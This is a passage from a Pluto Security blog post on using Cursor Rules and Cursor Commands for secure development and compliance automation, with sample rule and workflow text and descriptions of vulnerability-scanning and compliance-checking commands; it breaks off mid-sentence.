isPermaLink="false">https://blog.pluto.security/p/secure-ai-development-with-commands</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Wed, 05 Nov 2025 12:05:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!2VPa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2VPa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2VPa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 424w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 848w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2VPa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png" width="1456" height="813" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:813,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8942385,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177861733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2VPa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 424w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 848w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!2VPa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fddfab6e3-804b-459c-a894-db1319983e26_2752x1536.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>AI coding assistants are transforming how developers work - and how organizations must think about <strong>security, compliance, and governance</strong>.</p><p>By now, most developers are familiar with <strong>Cursor Rules</strong> - a simple yet powerful way to define safe defaults for AI behavior inside the IDE.</p><p>But <strong><a href="https://cursor.com/docs/agent/chat/commands">Cursor Commands</a></strong>, a newer capability, are still unfamiliar to many teams. They take things much further - turning your AI from a passive assistant into an active, policy-driven teammate. </p><p><strong>Claude</strong> offers a similar capability called <em>Claude Skills</em>, which enable structured workflows that run transparently inside the LLM - rather than as direct /commands in an IDE. In this post, we&#8217;ll focus on <strong>Cursor</strong>, which brings that concept into the developer environment through explicit, runnable commands.</p><blockquote><p>In this post, I&#8217;ll share how we built a list of practical security commands for Cursor (available <a href="https://github.com/plutosecurity/cursor-secure-commands">here on GitHub</a>), and how you can adapt them to your own stack.</p></blockquote><div><hr></div><h2><code>Understanding cursor rules</code></h2><p>Cursor rules has become quite popular - and for good reason. It lets teams define a system prompt that gives the AI clear, persistent guardrails and safe defaults inside the IDE.</p><p>Beyond enabling teams to tailor security rules to their own preferences and workflows, the real power lies in the community&#8217;s ability to establish shared standards. Great open examples - like <a href="https://github.com/matank001/cursor-security-rules">matank001/cursor-security-rules</a> - show how teams can contribute reusable templates that not only restrict sensitive actions but also encourage consistent, secure development practices across the ecosystem.</p><p>For example:</p><pre><code><code>## 8. Avoid Hardcoded Secrets
  Do not hardcode passwords, tokens, or secret keys in source code. 
  Use environment variables or a secure configuration service.</code></code></pre><p>In essence, cursor rules defines <strong>the AI&#8217;s secure baseline</strong> - ensuring it operates within defined boundaries and follows good engineering practices.<br>It can define both what the AI <em>should</em> and <em>should not</em> do, acting as a persistent policy layer that always applies in the background.</p><p>However, cursor rules is <strong>a static configuration</strong>. It always applies globally - not contextually.<br>It doesn&#8217;t allow targeted actions on specific files, commits, or functions with deep context.</p><p>That&#8217;s where <strong>Cursor Commands</strong> come in - enabling context-aware, on-demand workflows right inside your IDE.</p><div><hr></div><h2>Cursor Commands - From Static Rules to Smart Workflows</h2><p><strong>Cursor Commands</strong> live inside a <code>.cursor/commands/</code> folder and let developers define <strong>reusable AI-powered workflows</strong> that can be triggered directly from the IDE using a slash command (<code>/</code>).</p><p>Each command is written in Markdown with a simple YAML header - like a script that tells the AI <em>how to act</em> in specific situations.</p><p>For example - Address Github PR Comments:</p><pre><code><code>Process outstanding reviewer feedback, apply required fixes, and draft clear
responses for each GitHub pull-request comment.

## Steps
1. **Sync and audit comments**
    - Pull the latest branch changes
    - Open the PR conversation view and read every unresolved comment
2. **Plan resolutions**
    - List the requested code edits for each thread
    - Identify clarifications or additional context you must provide
3. **Implement fixes**
    - Apply targeted updates addressing one comment thread at a time
    - Run relevant tests or linters after impactful changes
4. **Draft responses**
    - Summarize the action taken or reasoning provided for each comment
    - Link to commits or lines when clarification helps reviewers verify</code></code></pre><p>When a developer types a workflow command such as <code>/address-pr-comments</code>, Cursor automatically executes the corresponding workflow using real-time project context - like open files, Git diffs, and conversation threads.<br>Each command can run external tools, fetch live data, and apply context-aware reasoning to streamline developer tasks directly from the IDE.</p><p>This turns AI from a conversational helper into a <strong>repeatable, version-controlled automation engine</strong> for engineering tasks.</p><p>There are already great developer examples available publicly, such as:<br>&#128073; <strong><a href="https://github.com/hamzafer/cursor-commands/tree/main">hamzafer/cursor-commands</a></strong> - a collection of reusable commands for reviews, refactoring, testing, and productivity.<br>&#128073; <strong><a href="https://github.com/ComposioHQ/awesome-claude-skills/tree/master">ComposioHQ/awesome-claude-skills</a></strong> - similar for Claude, showing structured Skills that can run automatically within the model&#8217;s reasoning flow.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vW9l!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vW9l!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 424w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 848w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 1272w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vW9l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png" width="316" height="143.43262411347519" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/739b4318-45d9-4504-a56d-af37774ee148_564x256.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:256,&quot;width&quot;:564,&quot;resizeWidth&quot;:316,&quot;bytes&quot;:27079,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177861733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vW9l!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 424w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 848w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 1272w, https://substackcdn.com/image/fetch/$s_!vW9l!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F739b4318-45d9-4504-a56d-af37774ee148_564x256.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Example of cursor commands</figcaption></figure></div><div><hr></div><h2>Using Cursor Commands for Security and Compliance</h2><p>At <strong>Pluto Security</strong>, we&#8217;ve been researching how this feature can go far beyond productivity - into <strong>secure development</strong> and <strong>compliance automation</strong>.</p><p>We treat <code>.cursor/commands</code> as a <strong>policy execution layer</strong>: a way to define repeatable, reviewable, and context-aware actions that developers can trigger at any time.</p><p>We designed <strong>commands for repeatable security tasks</strong> that developers can run directly in their workflow - each command can <strong>fetch live data from trusted internet sources</strong> (official docs, advisories, best-practice repositories) to stay always up-to-date.</p><p>The best part? You can <strong>plug in your own stack</strong>:</p><ul><li><p>Compliance SaaS platforms (SOC 2, ISO 27001, HIPAA, CAIQ Lite)</p></li><li><p>Internal security documentation or wikis</p></li><li><p>CLI Tools (Snyk / Trivy / AWS..)</p></li><li><p>Scripts</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_qbK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_qbK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 424w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 848w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 1272w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_qbK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png" width="568" height="208.2356792144026" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/684848c0-8663-4eaf-adae-5387ce882303_1222x448.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:448,&quot;width&quot;:1222,&quot;resizeWidth&quot;:568,&quot;bytes&quot;:49205,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177861733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_qbK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 424w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 848w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 1272w, https://substackcdn.com/image/fetch/$s_!_qbK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F684848c0-8663-4eaf-adae-5387ce882303_1222x448.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Each command execution can automatically pull the most recent guidance (to ensure alignment with the latest policies, standards, and compliance frameworks) run your own custom CLI commands and execute pre-made python scripts in the right context.</p><p>This means developers use <strong>simple, reusable commands</strong> created by security teams - but those commands evolve in real time, keeping code and compliance aligned.</p><h1>Examples</h1><ul><li><p><strong>/fix-exploitable-vulns</strong> - Scans your codebase with Trivy (CLI), downloads the live CISA Known Exploited Vulnerabilities (KEV) catalog (Web Surf), matches discovered CVEs against actively exploited vulnerabilities, and attempts to create a fix based on remediation steps online</p></li><li><p><strong>/validate-compliance</strong> - Fetches your company&#8217;s live compliance controls -SOC 2, ISO 27001, HIPAA, GDPR, etc. (Web Surf) from your compliance management API or configuration store, compares them against the current code context or repo configuration using automated scanning tools, and then fixes or flags misalignments, ensuring your code continuously meets policy requirements.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ghDA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ghDA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 424w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 848w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 1272w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ghDA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png" width="450" height="268.04347826086956" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:548,&quot;width&quot;:920,&quot;resizeWidth&quot;:450,&quot;bytes&quot;:82969,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177861733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ghDA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 424w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 848w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 1272w, https://substackcdn.com/image/fetch/$s_!ghDA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe81c3a-6536-44dd-8b03-582ae75a3ac7_920x548.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li></ul><h1>Bridging Policy and Practice</h1><p>This model lets security teams expose security workflows as developer-friendly commands - consistent, current, and organization-aware - enabling developers to resolve issues during the development process. Developers gain frictionless security automation. Security teams gain continuous assurance.</p><p>It&#8217;s the bridge between <strong>policy and practice</strong> - security that moves at the speed of code. Our library of commands and integrations keeps growing - and <strong>we welcome your ideas to keep growing it.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ufwb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ufwb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 424w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 848w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 1272w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ufwb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png" width="496" height="336.46783625730995" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/87587a97-75bc-4931-85bd-844a072b214a_1026x696.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:696,&quot;width&quot;:1026,&quot;resizeWidth&quot;:496,&quot;bytes&quot;:109335,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177861733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ufwb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 424w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 848w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 1272w, https://substackcdn.com/image/fetch/$s_!Ufwb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F87587a97-75bc-4931-85bd-844a072b214a_1026x696.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Connecting your own stack</h1><p>You connect your own stack by editing the command prompts (Python scripts, CLI, Links).</p><p>For example for other 